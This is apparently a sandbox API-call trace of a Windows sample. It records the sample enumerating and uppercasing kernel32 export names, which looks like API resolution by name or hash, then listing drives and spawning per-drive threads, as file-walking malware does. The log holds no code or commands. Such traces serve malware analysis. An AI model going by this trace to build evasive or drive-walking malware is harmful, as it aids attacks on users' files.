[0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0095.389] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0095.389] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0095.389] lstrlenA (lpString="CLOSESTATE") returned 10 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0095.389] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0095.389] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0095.389] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0095.389] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0095.389] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0095.389] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0095.389] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0095.389] lstrcpyA (in: lpString1=0x21feab8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0095.389] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0095.390] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0095.390] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0095.390] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0095.390] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0095.390] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0095.390] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0095.390] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0095.390] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0095.390] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0095.390] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0095.390] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0095.390] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0095.390] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0095.391] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0095.391] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0095.391] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0095.391] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0095.391] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0095.391] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0095.391] lstrlenA (lpString="COPYCONTEXT") returned 11 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0095.391] lstrlenA (lpString="COPYFILE2") returned 9 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0095.391] lstrlenA (lpString="COPYFILEA") returned 9 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0095.391] lstrlenA (lpString="COPYFILEEXA") returned 11 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0095.391] lstrlenA (lpString="COPYFILEEXW") returned 11 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0095.391] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0095.391] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0095.391] lstrlenA (lpString="COPYFILEW") returned 9 [0095.391] lstrcpyA (in: lpString1=0x21feab8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0095.391] lstrlenA (lpString="COPYLZFILE") returned 10 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0095.392] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0095.392] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0095.392] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0095.392] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0095.392] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0095.392] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0095.392] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0095.392] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0095.392] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0095.392] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0095.392] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0095.392] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0095.392] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0095.393] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0095.393] lstrlenA (lpString="CREATEEVENTA") returned 12 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0095.393] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0095.393] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0095.393] lstrlenA (lpString="CREATEEVENTW") returned 12 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0095.393] lstrlenA (lpString="CREATEFIBER") returned 11 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0095.393] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0095.393] lstrlenA (lpString="CREATEFILE2") returned 11 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0095.393] lstrlenA (lpString="CREATEFILEA") returned 11 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0095.393] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0095.393] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0095.393] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0095.393] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0095.393] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0095.393] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0095.393] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0095.394] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0095.394] lstrlenA (lpString="CREATEFILEW") returned 11 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0095.394] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0095.394] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0095.394] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0095.394] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0095.394] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0095.394] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0095.394] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0095.394] lstrlenA (lpString="CREATEJOBSET") returned 12 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0095.394] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0095.394] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0095.394] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0095.394] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0095.394] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0095.395] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0095.395] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0095.395] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0095.395] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0095.395] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0095.395] lstrlenA (lpString="CREATEPIPE") returned 10 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0095.395] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0095.395] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0095.395] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0095.395] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0095.395] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0095.395] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0095.395] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0095.395] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0095.395] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0095.396] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0095.396] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0095.396] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0095.396] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0095.396] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0095.396] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0095.396] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0095.396] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0095.396] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0095.396] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0095.396] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0095.396] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0095.396] lstrlenA (lpString="CREATETHREAD") returned 12 [0095.396] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0095.397] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0095.397] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0095.397] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0095.397] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0095.397] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0095.397] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0095.397] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0095.397] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0095.397] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0095.397] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0095.397] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0095.397] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0095.397] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0095.397] lstrcpyA (in: lpString1=0x21feab8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0095.399] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.399] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0095.399] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2cc0000 [0095.400] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.400] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x2cc0000 | out: lpBuffer="C:\\") returned 0x4 [0095.401] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0095.401] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0095.401] lstrlenW (lpString="C:\\") returned 3 [0095.401] VirtualAlloc (lpAddress=0x0, dwSize=0x806, flAllocationType=0x3000, flProtect=0x4) returned 0x31a0000 [0095.402] lstrcpyW (in: lpString1=0x31a0000, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0095.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x424fa0, lpParameter=0x3190000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0095.402] VirtualFree (lpAddress=0x2cc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4252a0, lpParameter=0x21ffe5c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0095.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x21ffe64*=0x480, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 5 os_tid = 0x4bc Thread: id = 6 os_tid = 0x9e4 Thread: id = 7 os_tid = 0x7bc Thread: id = 140 os_tid = 0xddc [0083.672] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x2e90000 [0083.673] lstrlenA (lpString="kernel32.dll") returned 12 [0083.673] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0083.673] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.673] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.673] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.673] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.673] lstrlenA (lpString="ADDATOMA") returned 8 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.673] lstrlenA (lpString="ADDATOMW") returned 8 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.673] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.673] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0083.673] lstrcpyA (in: lpString1=0x2cbf2d8, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0083.673] lstrlenA 